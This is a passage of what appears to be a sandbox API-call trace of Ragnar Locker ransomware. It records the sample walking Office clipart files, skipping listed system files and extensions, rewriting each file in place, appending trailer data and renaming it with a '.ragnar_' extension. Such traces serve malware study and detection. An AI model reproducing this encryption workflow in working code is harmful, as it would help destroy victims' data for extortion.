lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.594] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.594] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.594] GetProcessHeap () returned 0x580000 [0084.594] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.594] CloseHandle (hObject=0xf4) returned 1 [0084.594] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" [0084.594] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ragnar_FD7BD9FC" [0084.594] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.595] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0084.595] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.595] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0146142.JPG" | out: lpString1="J0146142.JPG") returned="J0146142.JPG" [0084.595] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned=".JPG" [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="autorun.inf") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="boot.ini") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="bootfont.bin") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="bootsect.bak") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="bootmgr") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="bootmgr.efi") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="bootmgfw.efi") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="desktop.ini") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="iconcache.db") returned 1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="ntldr") returned -1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="ntuser.dat") returned -1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="ntuser.dat.log") returned -1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="ntuser.ini") returned -1 [0084.595] lstrcmpiW (lpString1="J0146142.JPG", lpString2="thumbs.db") returned -1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.595] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0084.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46508) returned 1 [0084.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb5a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.596] GetProcessHeap () returned 0x580000 [0084.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.596] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.599] VirtualAlloc (lpAddress=0x0, dwSize=0xb5ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.599] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb5ac, lpOverlapped=0x0) returned 1 [0084.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb5ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.602] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb5ac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb5ac, lpOverlapped=0x0) returned 1 [0084.602] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb5ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.602] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb5ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.603] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.603] GetProcessHeap () returned 0x580000 [0084.603] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.603] CloseHandle (hObject=0xf4) returned 1 [0084.603] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" [0084.603] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ragnar_FD7BD9FC" [0084.603] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0084.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.604] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0148309.JPG" | out: lpString1="J0148309.JPG") returned="J0148309.JPG" [0084.604] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned=".JPG" [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="autorun.inf") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="boot.ini") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="bootfont.bin") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="bootsect.bak") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="bootmgr") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="bootmgr.efi") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="bootmgfw.efi") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="desktop.ini") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="iconcache.db") returned 1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="ntldr") returned -1 [0084.604] lstrcmpiW (lpString1="J0148309.JPG", lpString2="ntuser.dat") returned -1 [0084.605] lstrcmpiW (lpString1="J0148309.JPG", lpString2="ntuser.dat.log") returned -1 [0084.605] lstrcmpiW (lpString1="J0148309.JPG", lpString2="ntuser.ini") returned -1 [0084.605] lstrcmpiW (lpString1="J0148309.JPG", lpString2="thumbs.db") returned -1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.605] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0084.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43674) returned 1 [0084.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.605] GetProcessHeap () returned 0x580000 [0084.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.605] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.607] VirtualAlloc (lpAddress=0x0, dwSize=0xaa9a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.607] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaa9a, lpOverlapped=0x0) returned 1 [0084.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.609] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa9a, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.609] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaa9a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaa9a, lpOverlapped=0x0) returned 1 [0084.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa9a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.609] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.610] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.610] GetProcessHeap () returned 0x580000 [0084.610] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.610] CloseHandle (hObject=0xf4) returned 1 [0084.610] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" [0084.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ragnar_FD7BD9FC" [0084.610] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0084.611] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.611] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0148757.JPG" | out: lpString1="J0148757.JPG") returned="J0148757.JPG" [0084.611] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") returned=".JPG" [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="autorun.inf") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="boot.ini") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="bootfont.bin") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="bootsect.bak") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="bootmgr") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="bootmgr.efi") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="bootmgfw.efi") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="desktop.ini") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="iconcache.db") returned 1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="ntldr") returned -1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="ntuser.dat") returned -1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="ntuser.dat.log") returned -1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="ntuser.ini") returned -1 [0084.611] lstrcmpiW (lpString1="J0148757.JPG", lpString2="thumbs.db") returned -1 [0084.611] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.611] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.611] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.612] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.612] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.612] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.612] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg")) returned 0x20 [0084.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.612] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=67540) returned 1 [0084.612] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.612] GetProcessHeap () returned 0x580000 [0084.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.612] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.614] VirtualAlloc (lpAddress=0x0, dwSize=0x107d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.614] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x107d4, lpOverlapped=0x0) returned 1 [0084.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x107d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.617] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x107d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x107d4, lpOverlapped=0x0) returned 1 [0084.617] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x107d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.617] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.617] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.617] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.618] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.618] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.618] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.618] GetProcessHeap () returned 0x580000 [0084.618] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.618] CloseHandle (hObject=0xf4) returned 1 [0084.618] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG") 